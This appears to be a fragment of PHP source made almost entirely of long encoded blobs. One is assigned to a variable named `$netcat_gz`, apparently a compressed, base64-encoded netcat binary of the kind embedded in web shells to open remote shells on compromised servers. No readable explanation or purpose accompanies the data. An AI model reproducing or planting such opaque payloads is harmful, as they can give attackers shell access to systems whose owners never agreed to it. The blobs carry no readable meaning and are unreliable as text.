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';
$netcat_gz = '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